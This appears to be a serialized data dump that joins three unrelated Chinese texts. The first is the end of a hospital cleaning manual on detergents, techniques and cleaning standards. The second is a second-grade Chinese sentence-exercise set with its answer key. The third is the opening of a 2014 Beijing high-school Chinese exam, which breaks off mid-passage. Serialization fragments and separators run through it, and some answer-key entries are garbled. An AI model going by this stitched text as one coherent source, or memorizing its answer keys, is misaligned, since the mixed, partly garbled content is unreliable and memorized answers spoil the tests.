@#@有机聚合物与非离子表面活性剂复合物,优异的动态脱脂去垢力。
@#@优良的水洗性和配套性、润湿性、对清洗过程中肥皂泡沫的消泡性好。
@#@无明显刺激性。
@#@抗硬水性优,适应pH值范围宽。
@#@与常规助剂配合便成高品质脱脂剂、清洗剂。
@#@@#@10.3一般用于无泡或低泡工业洗涤剂,如金属清洗剂、金属脱脂剂、塑胶清洗剂等,最常见的典型用途为喷淋清洗剂、喷淋脱脂剂、高压水冲洗添加剂、超声波清洗剂等@#@11、消泡剂@#@11.1消泡剂,又称为抗泡剂,在工业生产的过程中会产生许多有害泡沫,需要添加消泡剂。
@#@广泛应用于清除胶乳、纺织上浆、食品发酵、生物医药、涂料、石油化工、造纸、工业清洗等行业生产过程中产生的有害泡沫。
@#@@#@12、洗衣粉@#@12.1合成洗涤剂是以表面活性剂为主要成分,并配有适量不同作用的助洗剂。
@#@@#@12.2用于清洗较脏毛巾,拖把,洗地等。
@#@(碱性)@#@13、芳香球(五色除臭球)@#@特点:
@#@1)便捷:
@#@清洁、除垢、除臭、除味、杀菌消毒一次完成。
@#@2)高效:
@#@在水箱或尿斗里能释放活性分子,自动清洗尿斗马桶及水箱内壁污垢。
@#@强效清除恶臭气体,释放自然清香。
@#@@#@14、清新剂@#@空气清新剂虽能明显掩盖恶臭,却无法祛除空气中的恶臭物质,有的甚至会产生二次污染。
@#@空气清新剂通常分为固体、液体和气体三种。
@#@气态空气清新剂中的空气负离子和臭氧,本身就是空气污染物;@#@而用香料与酒精等有机溶剂混合制成的液态空气清新剂,在喷洒时形成的大量气溶胶又会污染空气;@#@固体空气清新剂如卫生香或熏香,点燃后所产生的烟雾微粒也会造成二次污染。
@#@因此,使用空气清新剂应该注意以下几点:
@#@@#@14.1室内有婴幼儿、哮喘病人、过敏体质者及过敏性疾病的人时应慎用。
@#@@#@14.2喷洒或点燃空气清新剂时,最好暂时撤离现场,待大部分气溶胶或颗粒物质沉降后再进入,进入前最好要打开门窗换气。
@#@@#@14.3厕所和浴室的除臭应选用气体空气清新剂。
@#@@#@14.4不能过分依赖空气清新剂,应从根本上找出恶臭的来源,进行彻底清除,使居室空气真正清新。
@#@@#@15、卫生香@#@在有重大活动或开会人员流动增加的情况下使用,2小时点一支。
@#@主要改变楼道空气异味。
@#@@#@ @#@@#@三、保洁基本技能操作@#@CJWY-ZY(BJGF)03-2011@#@1.扫地:
@#@清扫楼梯时,应从上至下,从外至里进行清扫,边扫边装进簸箕,慎防垃圾从楼梯边滑落。
@#@病房清扫时应彻底,这样有利于拖地时加快速度。
@#@@#@2.拖地:
@#@拖地时应一手紧握杆尾,一手掌握方向,左右呈倒∽型,不留茬后退着拖地,每次拖地时应先拖净梯角线和墙角。
@#@每拖完一个病房后,要多涮几下拖把,榨干至不滴水,抖顺,这样容易快速清除掉拖地时卷进拖把内的残渣,及时清理掉拖把上的黏附物,抖顺排列有序的悬挂与指定地点,洗净柞水车,车内放进2/3的水,以便下次方便使用。
@#@@#@3.擦墙面:
@#@应先铲掉所有固体黏附物,用干抹布或鸡毛掸子除去表面上的浮尘,再用湿抹布上下同方向擦拭,勤洗抹布,这样既省时又省力,效果佳。
@#@@#@4.擦天花板:
@#@先根据顶面高度调节伸缩杆的长度,再用干抹布擦拭掉表面的灰尘,其次用湿抹布前推后拉倒退着擦拭,擦拭时伸缩杆应与顶面保持45度夹角,毛头和顶面受力平衡均匀。
@#@待擦拭工作结束后,及时还原杆长,收好放回指定位置。
@#@@#@5.擦梯角线及楼梯:
@#@根据地面材质选用清洗剂,及时擦洗门角、墙角、管道角。
@#@擦洗楼梯时,应随擦随拖,先平面再立面,并及时清理掉污水,以免污水从楼梯滑落。
@#@@#@6.抹擦时视情况采取方式:
@#@@#@A.干擦:
@#@去除细微灰尘,干擦用力不能太重。
@#@@#@B.半干擦:
@#@灰尘较多时使用。
@#@@#@C.水擦:
@#@去除污垢,但不能浸水太多;@#@应经常洗抹布,保持抹布清洁。
@#@@#@7.尘推地面:
@#@将渗好油风干的尘推沿直线不离..地面的进行推尘,待尘推满尘时,及时抖落并清理掉上面的黏附物,再进行推尘。
@#@尘推失去粘附能力时,要重喷尘推油;@#@尘推用脏后可用碱性清洗剂洗净,干后喷尘推油再使用。
@#@(注意:
@#@使用尘推时首先拖布应是干的,未浸水的;@#@其次地面也应该是干的并没有其他液体;@#@最后,不能用尘推推未扫的地面。
@#@严禁把尘推当作拖把水拖地面)@#@8.擦拭不锈钢:
@#@用清洁球清理掉不锈钢表面的斑点及黏附物,再用用干抹布擦拭掉表面的浮尘,然后用事先渗好的油布按纹理同方向擦拭。
@#@@#@9.擦面台、镜面:
@#@擦洗面台时及时清理掉面台上的杂弃物,用清洁球清理台面和面盆内污渍和水锈。
@#@擦拭镜子时应先用拧干的抹布清除掉镜面或玻璃上的污渍和水渍,再用干抹布反复擦拭,如有模糊痕迹可用揉团的报纸擦拭。
@#@@#@10.收集垃圾:
@#@先分清医疗垃圾和生活垃圾。
@#@再用黑、黄色的两种垃圾袋进行分装。
@#@收集时将垃圾桶放置在清洁车上,一次进行收集。
@#@倾倒垃圾时,如有纸篓与袋子大小不合适,可在袋子一边的手提处打结,这样就不容易使袋子从里面脱落。
@#@待垃圾桶满后,用清洁车推放到垃圾对方指定点,系紧袋口,将筒体放倒,拉住袋口慢慢取出垃圾袋,省力又防止了破损。
@#@一般收集垃圾,垃圾应不超过纸篓的2/3为宜。
@#@@#@11.洗马桶和便池:
@#@擦洗前应先冲净池内,再倒入适量的洁厕净从外至里再延伸到边沿、缝隙,依次用力擦净至没有黄锈和尿垢,多冲水几次,用消过毒的抹布将马桶周边水迹擦干。
@#@小便池定期取出中间芯子,清洗干净后再放回原处,放置芳香球,这样有利于改善卫生间的异味。
@#@巡回时,常用水冲池内,要做到“勤冲、勤刷、勤洗”。
@#@@#@12.窗户玻璃:
@#@检查安全绳是否完好安全,系上安全带,将另一头找一个安全结实的物体拴牢。
@#@弹掉玻璃上的浮灰,用湿抹布先擦洗,然后用干抹布反复擦拭至洁净、光亮、透明为宜。
@#@如需进入办公室擦洗时,应叩门礼貌的征得对方同意后方可工作。
@#@@#@13.冲洗防尘垫子:
@#@冲洗前,先检查设备是否完好,有无漏电现象。
@#@洗时要至前冲洗,冲洗至没有污水,没有残留物并及时晾晒。
@#@收集垫子时要有序排出一周用的垫子,便于用时得心应手。
@#@@#@14.洗地:
@#@洗地前检查设备是否完好无损,有无漏电现象,配用适量中性的清洗剂,排列有序的进行清洗。
@#@并按时完成定额任务。
@#@清洗时先征得护士长同意,再开展工作。
@#@每次洗地结束后要及时擦洗、抹干设备、放回原处。
@#@@#@15、卫生间异味控制@#@卫生间的严重异味,大多是尿液造成的。
@#@尿液残留在物体表面10分钟就会开始散发异味,时间越长久会越严重。
@#@这点男士卫生间尤为严重,原因是小便池周围及地面都会残留很多尿液,而保洁人员不可能在每个小便池被使用过后就马上清洗。
@#@因此为了改善卫生间空气,就喷上空气清新剂来掩盖异味。
@#@可是。
@#@异味没能掩盖住,反而产生了一种更难闻的混合异味。
@#@为了改善这种局面,就要求我们保洁员要做到“勤擦”、“勤冲”、“勤洗”。
@#@@#@1、勤擦:
@#@每天按规定上午擦拭卫生间一次,取适量洁厕剂用软刷涂在大、小便池上,待发生反应过后用硬刷使劲由里到外刷洗一遍,再用水及时冲洗。
@#@同时定期要检查小便池内芯,用小夹子夹起内芯,放入适量洁厕剂中让其发生反应,待反应后用硬刷擦拭刷洗,再冲洗干净,放回原处。
@#@@#@2、勤冲:
@#@及时冲洗大、小便池,让其在物体表面没有时间停留的机会,要做到不定期的冲洗。
@#@@#@3、勤洗:
@#@保洁员必须经常清洗卫生间使用的拖把和抹布,否则,拖把每次拖地都把地面的尿液扩大。
@#@这样一来卫生间整个地面都会布满残留尿液,从而使卫生间充斥着难闻的异味。
@#@@#@16、对公司配发的保洁材料及保洁工具要节约使用和认真保养。
@#@@#@17、对公司配发的清洁、消毒药剂必须按说明或要求使用,不乱用、混用,或用手直接沾染。
@#@@#@18、注重操作技巧,用有限的时间干有效的工作,并反复检查自己的工作是否有漏洞。
@#@@#@ @#@@#@四、专项保洁时间、频次规定@#@CJWY-ZY(BJGF)04-2011@#@A、3次/月擦墙面及附着标识物(3/13/23日)@#@B、2次/月刷洗楼梯及梯脚线(5/20)@#@C、1次/月擦天花板(每月月底)@#@D、1次/月不锈钢设施保养@#@E、固定专人擦床及床头柜@#@@#@ @#@@#@五、保洁标准@#@CJWY-ZY(BJGF)05-2011@#@1医院@#@A.病房@#@项目@#@周期@#@卫生标准@#@不锈钢设施、窗台、壁柜@#@ @#@@#@1次/日@#@无灰尘、物污迹@#@氧气带@#@无污迹@#@洗面台、镜子@#@洁净、无污垢、@#@便池的刷洗@#@洁净、无污垢、无黄锈@#@消毒@#@干净、无异味@#@垃圾袋的更换@#@干净、垃圾不超过2/3@#@地面的拖洗@#@2次/日@#@干净、无积水、无异味@#@纸篓的倾倒@#@干净、垃圾不超过2/3@#@床头柜周围@#@1次/3日@#@无灰尘、无污迹@#@床架@#@1次/周@#@无灰尘、无污迹@#@电视、管道、墙壁@#@1次/10天@#@干净、无灰尘@#@纱窗@#@1次/月@#@干净、无灰尘@#@天花板@#@无灰尘、无手印、无污迹@#@不锈钢水龙头@#@巡视保洁@#@干净、无污迹@#@ @#@@#@B.科室@#@项目@#@周期@#@卫生标准@#@玻璃门、窗台、各类广告牌@#@1次/日@#@洁净、明亮、无灰尘@#@公椅、垃圾桶@#@光亮、无灰尘@#@各类不锈钢设施@#@洁净、明亮@#@水磨地面@#@6次/日尘推@#@光亮、无污渍@#@一楼花岗石地面@#@40分钟尘推一次@#@明亮、无污渍@#@各类不锈钢设施@#@1次/月护理@#@洁净、明亮@#@盆景花卉@#@1次/周擦拭@#@叶面干净、盆内无杂物@#@大厅地面、洗面盆@#@随时巡视保洁@#@洁净、明亮、无痰迹、无明显脚印@#@C.广场@#@项目@#@周期@#@卫生标准@#@地面@#@1次/日清扫@#@无杂物、无垃圾、无烟头@#@石材地面@#@6次/日推尘@#@干净、明亮、无杂物@#@一楼门外玻璃@#@1次/日擦拭@#@干净、明亮@#@标示牌、盆景、外窗台@#@无灰尘、无污迹@#@D.走廊清洁标准@#@项目@#@周期@#@卫生标准@#@地面@#@1次/日拖洗、4次/日尘推@#@干净、无污迹@#@梯脚线、楼梯@#@5、20日/月刷洗@#@干净、无灰尘@#@门、窗台、窗柜、轨道@#@1次/日弹尘、擦拭@#@干净、无污垢@#@墙壁(2米以下)@#@3、13、23日/月擦拭@#@干净、无灰尘@#@各类指示牌@#@1次/日弹尘、擦拭@#@干净、无灰尘@#@痰盂@#@2次/日换水、倾倒@#@桶外壁洁净@#@垃圾不超过2/3@#@垃圾桶@#@1次/日刷洗@#@不锈钢扶手、木质扶手@#@1次/日擦拭@#@干净、明亮@#@天花板@#@月底/月擦拭@#@无灰尘、无印迹@#@E.公共卫生间@#@项目@#@周期@#@卫生标准@#@地面@#@不间断拖洗保洁@#@干净、无水迹、无污垢、脚印@#@洗面台、镜子@#@1次/日擦拭、巡视保洁@#@洁净、无污迹、无水印@#@门窗、隔板@#@干净、无灰尘@#@不锈钢水龙头@#@巡视保洁@#@洁净、无污迹@#@管道的擦拭@#@1次/周弹尘、擦拭@#@干净、无灰尘@#@墙面@#@3、13、23日/月擦拭@#@洁净、无污迹@#@纸篓@#@2次/日倾倒、1次换袋@#@垃圾不超过2/3@#@灯具开关@#@1次/日擦拭@#@干净、无污迹@#@水池@#@1次/周刷洗@#@干净、无杂物@#@大、小便池@#@1次/日彻底刷洗、消毒@#@洁净、无便迹尿垢、无水锈@#@卫生间空气@#@清新@#@无臭味@#@天花板@#@月底/月擦拭@#@无灰尘、印迹@#@2公共建筑保洁标准@#@A、教学楼、办公楼保洁标准@#@项目@#@周期@#@卫生标准@#@玻璃门@#@1次/日擦拭@#@洁净、明亮、无灰尘@#@门厅地面@#@随时巡回保洁@#@洁净、光亮、无痰迹、无烟头、无杂物@#@花卉@#@1次/周擦拭@#@叶面干净、盆内无杂物@#@墙面@#@1次/10天擦拭@#@无灰尘、无污渍@#@地脚线、楼梯@#@每月5日、20日擦拭@#@干净、无灰尘@#@";i:
47;s:
15751:
"部编版二年级语文上册第三单元专项训练句型含答案@#@部编版二年级语文上册第三单元专项训练:
@#@句型(含答案)@#@一、4.《曹冲称象》@#@1.照样子,给句子换一种说法。
@#@@#@例:
@#@小狗在院里啃骨头。
@#@@#@在院里,小狗啃骨头。
@#@@#@三岁的小妹妹在全家人面前讲故事。
@#@ @#@________@#@____________________________________________________________________@#@2.照样子,给句子换一种说法。
@#@@#@例:
@#@小鸡在草地上吃虫。
@#@@#@在草地上,小鸡吃虫。
@#@@#@曹操在众人面前夸奖曹冲聪明。
@#@@#@____________________________________________________________________@#@3.把下面句子加上标点后,再读一读。
@#@@#@①奶奶,壶盖为什么会跳动呢 @#@________@#@②有人送给曹操一头大象 @#@________@#@③今天的天气多好啊 @#@________@#@4.读一读,按照曹冲称象的办法重新排列句子。
@#@@#@( @#@ @#@)往船里装石头,装到船下沉到做记号的地方为止。
@#@@#@( @#@ @#@)把大象赶到一艘大船上。
@#@@#@( @#@ @#@)再把大象赶上岸。
@#@@#@( @#@ @#@)看船身下沉多少,沿着水面在船舷上画一条线。
@#@@#@( @#@ @#@)称石头的重量。
@#@@#@5.照样子,写一写。
@#@@#@
(1)曹操的儿子才七岁。
@#@@#@________才________。
@#@@#@
(2)大象到底有多重呢?
@#@@#@________到底________?
@#@@#@(3)官员们一边看一边议论。
@#@@#@①妹妹一边________边________。
@#@@#@②________边________边________。
@#@@#@6.读下面的句子,比一比,仿照例子写两句。
@#@@#@曹操听了摇头。
@#@@#@曹操听了直摇头。
@#@@#@仿写:
@#@我听了鼓掌。
@#@@#@ @#@____________________________________________________________________@#@7.仿照例句写句子 @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@@#@
(1)例:
@#@白云在天上飘,是风吹的。
@#@@#@→白云在天上飘,不是风吹的吗?
@#@@#@①窗外闪过一道白光,是闪电。
@#@____________________________________________________________________@#@②小朋友们都穿着新衣服在唱歌,今天是“六一”儿童节。
@#@____________________________________________________________________@#@
(2)例:
@#@谁也没有那么大的力气提起这杆大秤。
@#@@#@→谁有那么大的力气提得起这杆大秤呢?
@#@@#@①谁也不会干这种让同学们笑话的事情。
@#@____________________________________________________________________@#@②谁也没有时间照料小乌龟。
@#@____________________________________________________________________@#@8.我会判断。
@#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@@#@
(1)曹操的儿子才七岁。
@#@@#@①“才”是“只有”的意思,说明曹冲当时年龄还小。
@#@________@#@②“才”是“刚刚”的意思,说明曹冲刚满七岁。
@#@________@#@
(2)曹操听了直摇头。
@#@@#@①“直”是“一直”的意思,说明曹操摇头的时间长。
@#@________@#@②“直”是“不断地”的意思,说明曹操反对官员们提出的称象办法。
@#@________@#@二、5.《玲玲的画》@#@9.照样子改写句子。
@#@@#@例:
@#@在这儿画点儿什么,不是很好吗?
@#@@#@在这儿画点儿什么,很好。
@#@@#@①有空多看书,不是很好吗?
@#@@#@____________________________________________________________________@#@②用锯在树上来回拉,不是快得多吗?
@#@@#@____________________________________________________________________@#@10.按要求完成句子练习。
@#@@#@
(1)画笔 @#@我 @#@就去 @#@收拾 @#@把 @#@一下 @#@睡 @#@(连词成句)@#@____________________________________________________________________@#@
(2)在这儿画点儿什么,不是很好吗?
@#@(换个说法,意思不变)@#@____________________________________________________________________@#@(3)懒 @#@懒洋洋 @#@小花狗懒洋洋地趴在楼梯上。
@#@(照样子,写一写)@#@笑 @#@_______________________________________________________________@#@11.找出句子中的错别字,并改正过来。
@#@@#@①好多事情并不像我们想向的那么槽。
@#@@#@____________________________________________________________________@#@②再第二天的平奖会上,玲玲的画得了一等奖。
@#@@#@____________________________________________________________________@#@12.句子加工厂@#@①玲玲把画笔收拾好了。
@#@(改成被子句)@#@____________________________________________________________________@#@②在这儿花点什么,不是很好吗?
@#@(仿写句子)@#@____________________________________________________________________@#@13.给下列句子加上标点。
@#@@#@
(1)________玲玲________时间不早了________快去睡吧________爸爸又在催她了________@#@
(2)________怎么了________玲玲________爸爸放下报纸问________@#@(3)爸爸说________别哭________孩子________在这儿画点儿什么________不是很好吗________@#@14.将下列句子改为陈述句。
@#@@#@①不经过努力,学习能取得好成绩吗?
@#@@#@____________________________________________________________________@#@②这道题有你说的那么难吗?
@#@@#@____________________________________________________________________@#@15.缩句@#@①学校里的学生认真地把教室的桌子擦干净。
@#@@#@____________________________________________________________________@#@②人民是创造世界历史的真正动力。
@#@@#@____________________________________________________________________@#@16.修改病句。
@#@@#@①他的革命精神时刻浮现在我眼前。
@#@@#@____________________________________________________________________@#@②纪念三八节的到来。
@#@@#@____________________________________________________________________@#@17.扩句@#@①草原是家。
@#@@#@____________________________________________________________________@#@②他瞪了她。
@#@@#@____________________________________________________________________@#@三、6.《一封信》@#@18.根据课文《一封信》内容,选择正确答案。
@#@@#@文中露西共写了两封信,其中第一封信的内容 @#@ @#@ @#@ @#@ @#@,第二封信内容 @#@ @#@ @#@ @#@。
@#@( @#@ @#@ @#@)@#@A. @#@乐观 @#@悲观 @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@@#@B. @#@悲观 @#@ @#@乐观@#@19.重点段落品析。
@#@@#@ @#@ @#@ @#@露西边说边写:
@#@“亲爱的爸爸……”@#@ @#@ @#@ @#@“我们过得挺好的。
@#@”妈妈接着露西的话说。
@#@@#@ @#@ @#@ @#@露西写完这一句,想到了小狗希比希,写道:
@#@“太阳闪闪发光。
@#@阳光下,我们希比希又蹦又跳。
@#@”@#@
(1)照样子,写词语。
@#@@#@又蹦又跳 @#@ @#@ @#@又________又________ @#@ @#@ @#@ @#@ @#@ @#@又________又________@#@
(2)选文共有________个自然段。
@#@@#@(3)选文写了________ @#@和________ @#@给________ @#@写信的场景。
@#@@#@20.给下列句子加上正确的标点符号。
@#@@#@①那我们一起重新写吧________ @#@@#@②爸爸出国了________ @#@要过半年才能回来________ @#@@#@③露西笑了________ @#@她记下妈妈的话________ @#@接着写道________ @#@这样________ @#@我们就能自己修台灯了________@#@21.照样子,写一写。
@#@@#@例:
@#@作(作业)小明在家里做作业。
@#@@#@笔(________)________@#@写(________)________@#@22.照样子,用划线的词语写句子。
@#@@#@例:
@#@太阳闪闪发光。
@#@@#@____________________________________________________________________@#@23.按要求写句子。
@#@@#@
(1)想 @#@露西 @#@爸爸 @#@给 @#@写 @#@信 @#@一封(连成一句通顺的话)@#@____________________________________________________________________@#@
(2)从早到晚,家里总是很冷清。
@#@(用下划线词语仿写句子)@#@____________________________________________________________________@#@(3) @#@ @#@啊 @#@ @#@ @#@太好啦 @#@ @#@ @#@露西叫了起来 @#@ @#@ @#@(在空白处加上标点)@#@____________________________________________________________________@#@(4)以前每天早上你一边刮胡子,一边逗我玩。
@#@(用下划线词说一句话)@#@____________________________________________________________________@#@24.阅读理解。
@#@@#@“亲爱的爸爸,”露西写道,“你不在,我们很不开心。
@#@以前每天早上你一边刮胡子,一边逗我玩。
@#@还有,家里的台灯坏了,我们修不好。
@#@从早到晚,家里总是很冷清。
@#@”@#@
(1)本段共写了________句话。
@#@@#@
(2)读了这段话你感受到了什么?
@#@@#@四、7《妈妈睡了》@#@25.回忆课文内容,选一选。
@#@@#@睡梦中的妈妈是什么样子的?
@#@( @#@ @#@ @#@)@#@A. @#@温柔 @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@@#@B. @#@美丽 @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@@#@C. @#@暴躁 @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@@#@B.@#@D. @#@好累 @#@ @#@ @#@ @#@ @#@ @#@ @#@@#@E. @#@伤心@#@26.我能把下面的话补充完整。
@#@@#@①睡梦中的妈妈________。
@#@@#@②她真该________。
@#@@#@27.你发现了吗?
@#@一个词往往能跟几个词搭配,你试着填一填。
@#@@#@弯弯的________@#@微微地________@#@弯弯的________@#@微微地________@#@弯弯的________@#@微微地________@#@28.在课后阅读时,我积累了好多词语。
@#@(每种至少写出两个)@#@①写颜色的词语,有:
@#@鲜红、嫩绿、还有________、________、________。
@#@@#@②写动作的词语,有:
@#@打、________、________、________、________。
@#@@#@③写心情的词语,有:
@#@高兴、________、________、________、________。
@#@@#@29.用线把下面的词语恰当的连起来@#@明亮的 @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@脸 @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@沙沙的 @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@妈妈@#@红润的 @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@头发 @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@微微地 @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@响声@#@乌黑的 @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@眼睛 @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@慈祥的 @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@闭着@#@弯弯的 @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@眉毛 @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@紧紧地 @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@笑着@#@30.照样子写句子。
@#@@#@例:
@#@妈妈哄我午睡的时候,自己先睡着了,睡得好熟,好香。
@#@@#@
(1)这里的景色好________,好________。
@#@@#@
(2)妈妈做的菜好________,好________。
@#@@#@(3)________好________,好________。
@#@@#@31.你能读一读,再照样子把句子创作得更美吗?
@#@@#@例:
@#@头发在阳光下发亮。
@#@@#@ @#@ @#@ @#@乌黑的头发在阳光下闪闪发亮。
@#@@#@①小鸟在天空中飞翔。
@#@ @#@@#@____________________________________________________________________@#@②阳光从窗口射进来。
@#@____________________________________________________________________@#@ @#@@#@答案@#@一、4.《曹冲称象》@#@1.在全家人面前,三岁的小妹妹讲故事。
@#@@#@2.在众人面前,曹操夸奖曹冲聪明。
@#@@#@3.?
@#@;@#@。
@#@;@#@!
@#@@#@4.41325@#@5.
(1)他们班;@#@二十个人@#@
(2)你;@#@在干什么@#@(3)唱歌;@#@画画;@#@我;@#@看电视;@#@吃苹果@#@6.我听了直鼓掌。
@#@@#@@#@7.
(1)窗外闪过一道白光,不是闪电吗?
@#@;@#@小朋友们都穿着新衣服在唱歌,今天是不“六一”儿童节吗?
@#@@#@
(2)谁会干这种让同学们笑话的事情呢?
@#@;@#@谁有时间照料小乌龟呢?
@#@@#@8.
(1)正确;@#@错误@#@
(2)错误;@#@正确@#@二、5.《玲玲的画》@#@9.①有空多看书,很好。
@#@②用锯在树上来回拉,快得多。
@#@@#@10.
(1)我把画笔收拾一下就去睡。
@#@@#@
(2)在这儿画点儿什么,很好呀!
@#@@#@(3)笑眯眯;@#@胖娃娃笑眯眯地躺在摇篮里@#@11.①像(向);@#@糟(槽);@#@②在(再);@#@评(平)@#@12.①画笔被玲玲收拾好了。
@#@②走这条小路回家比较快,不是很好吗?
@#@@#@13.
(1)“;@#@,;@#@,;@#@!
@#@”;@#@。
@#@@#@
(2)“;@#@,;@#@?
@#@”;@#@。
@#@@#@(3):
@#@“;@#@,;@#@。
@#@;@#@,;@#@?
@#@”@#@14.①不经过努力,学习不能取得好成绩。
@#@②这道题没有你说的那么难。
@#@@#@15.①学生擦桌子。
@#@②人民是动力。
@#@@#@16.①他的革命形象时刻浮现在我眼前。
@#@②纪念三八节。
@#@@#@17.①美丽的草原是牧民们心爱的家。
@#@②他狠狠地瞪了她一眼。
@#@@#@三、6.《一封信》@#@18.B@#@19.
(1)大;@#@圆;@#@香;@#@甜@#@
(2)3@#@(3)露西;@#@妈妈;@#@爸爸@#@20.!
@#@;@#@,;@#@。
@#@;@#@,;@#@,;@#@:
@#@“;@#@,;@#@。
@#@”@#@21.铅笔;@#@我有一只新铅笔。
@#@;@#@写字;@#@我每天都认认真真地写字。
@#@@#@22.金子闪闪发光。
@#@@#@23.
(1)露西想给爸爸写一封信。
@#@@#@
(2)我总是拿第一名。
@#@@#@(3)“,!
@#@”。
@#@@#@(4)我一边吃饭一边看电视。
@#@@#@24.
(1)4@#@
(2)略@#@四、7《妈妈睡了》@#@25.A,B,D@#@26.很美很美。
@#@;@#@好好休息一下了。
@#@@#@27.眉毛;@#@笑;@#@镰刀;@#@点头;@#@月牙;@#@张开@#@28.粉红;@#@金黄;@#@淡紫;@#@骂;@#@推;@#@踢;@#@拍;@#@痛苦;@#@快乐;@#@愉快;@#@激动@#@29.@#@30.
(1)美;@#@迷人@#@
(2)香;@#@美味@#@(3)姐姐写的字;@#@工整;@#@漂亮@#@31.可爱的小鸟在天空中自由自在地飞翔;@#@灿烂的阳光从窗口缓缓地射进来。
@#@@#@@#@";i:
48;s:
28891:
"北京市东城区示范校届高三教学质量调研语文试题含答案@#@北京市东城区普通高中示范校2014届高三12月教学质量调研@#@语文试卷@#@本试卷共8页,150分。
@#@考试时长150分钟。
@#@考生务必将答案答在答题卡上,在试卷上作答无效。
@#@考试结束后,将本试卷和答题卡一并交回。
@#@@#@一、本大题共5小题,每小题3分,共15分。
@#@@#@1.下列词语中,字形和加点字的读音全都正确的一项是@#@A.松驰一如既往盎(à@#@ng)然相形见绌(zhuó@#@)@#@B.青睐谈笑风声戏谑(nü@#@è@#@)诲(huì@#@)人不倦@#@C.宣泄世外桃源罪愆(qiān)否(pǐ)极泰来@#@D.坐镇旁证博引摇曳(zhuà@#@i)良莠(yǒu)不齐@#@2.下列句子中,加点的成语使用不恰当的一项是@#@A.一些厂家以更换包装为由调高了产品价格,消费者对此不以为然,认为厂家更应注重提升产品品质而不仅仅是包装。
@#@@#@B.强化推行“问责制”以后,各政府部门分工更加细致明确,所有人各行其是,各尽其责,大大提高了政府办公效率。
@#@@#@C.3D打印机的出现使任何复杂形状的设计均可实现,生产时不必再考虑生产工艺问题,它的发展令普通人瞠目结舌。
@#@@#@D.对于一个国家来说,书本上的历史知识和集体记忆是不同的,没有民众对历史的集体记忆,就难免会出现数典忘祖的悲哀。
@#@@#@3.下列句子中,没有语病的一项是@#@A.高水平运动员的高超技能可以通过日常的刻苦训练获得,而良好的心理素质却要通过临场的无数竞技才能练就。
@#@@#@B.在最近报刊发表的一系列文章里,给了我们一个十分有益的启示:
@#@要形成良好的社会风气,就必须加强国民素质教育。
@#@@#@C.最近中高考改革的消息被报刊、电视等媒体纷纷转载,很多人认为这一举措可以解决当前中国教育存在的一些问题。
@#@@#@D.日前我国科研人员首次“拍到”氢键的“照片”,为“氢键的本质”这一化学界争论多年的问题提供了直观证据。
@#@@#@4.下列有关文学常识的表述,不正确的一项是@#@A.孟子,名轲,春秋时期儒家学派重要代表人物,被后世称为“亚圣”,他的思想及其政治言论主要收录在《孟子》一书中。
@#@@#@B.南北朝时期的《孔雀东南飞》与《木兰诗》并称为“乐府双璧”,是我国文学史上两首著名的叙事诗,是我国古代民间文学的经典。
@#@@#@C.《包身工》是中国报告文学史上划时代的作品,它以时间为线索,围绕包身工一天的生活劳动组织材料,真实地反映了包身工的悲惨命运。
@#@@#@D.美国作家海明威在《老人与海》中塑造了桑地亚哥的形象,颂扬了人类挑战困难、捍卫尊严的“硬汉精神”。
@#@@#@5.把下列句子组成语意连贯的语段,排序最恰当的一项是@#@①当肉类食物摄入过多时,人体会出现酸碱平衡失衡,钙排泄量就会增大。
@#@@#@②菠菜中含有多种促进钙吸收、减少钙排泄的成分。
@#@@#@③如果能多吃一些诸如菠菜等绿叶蔬菜,有助于维持酸碱平衡,减少钙的排泄。
@#@@#@④骨健康需要的营养素存在于植物性食物中。
@#@@#@⑤钙的吸收与机体酸碱平衡密切相关。
@#@@#@A.④②⑤①③B.⑤②④①③C.②④③①⑤D.①⑤②④③@#@二、本大题共4小题,每小题3分,共12分。
@#@阅读下面的文言文,完成6—9题。
@#@@#@碑者,悲也。
@#@古者悬而窆①,用木。
@#@后人书之以表其功德,因留之不忍去,碑之名由是而得。
@#@自秦汉以降,生而有功德政事者,亦碑之,而又易之以石,失其称矣。
@#@余之碑野庙也,非有政事功德可纪,直悲夫甿②竭其力,以奉无名之土木而已矣。
@#@@#@瓯越间好事鬼,山椒水滨多淫祀。
@#@其庙貌有雄而毅、黝而硕者,则曰将军;@#@有温而愿、皙而少者,则曰某郎;@#@有媪而尊严者,则曰姥;@#@有妇而容艳者,则曰姑。
@#@其居处则敞之以庭堂,峻之以陛级,左右老木,攒植森拱,萝茑翳于上,鸱鹗室其间。
@#@车马徒隶,丛杂怪状。
@#@甿作之,甿怖之。
@#@大者椎牛,次者击豕,小不下犬鸡;@#@鱼菽之荐,牲酒之奠,缺于家可也,缺于神不可也。
@#@一日懈怠,祸亦随作,耋孺畜牧栗栗然。
@#@疾病死丧,甿不曰适丁③其时耶,而自惑其生,悉归之于神。
@#@@#@虽然,若以古言之,则戾;@#@以今言之,则庶乎神之不足过也。
@#@何者?
@#@岂不以生能御大灾,捍大患;@#@其死也,则血食于生人。
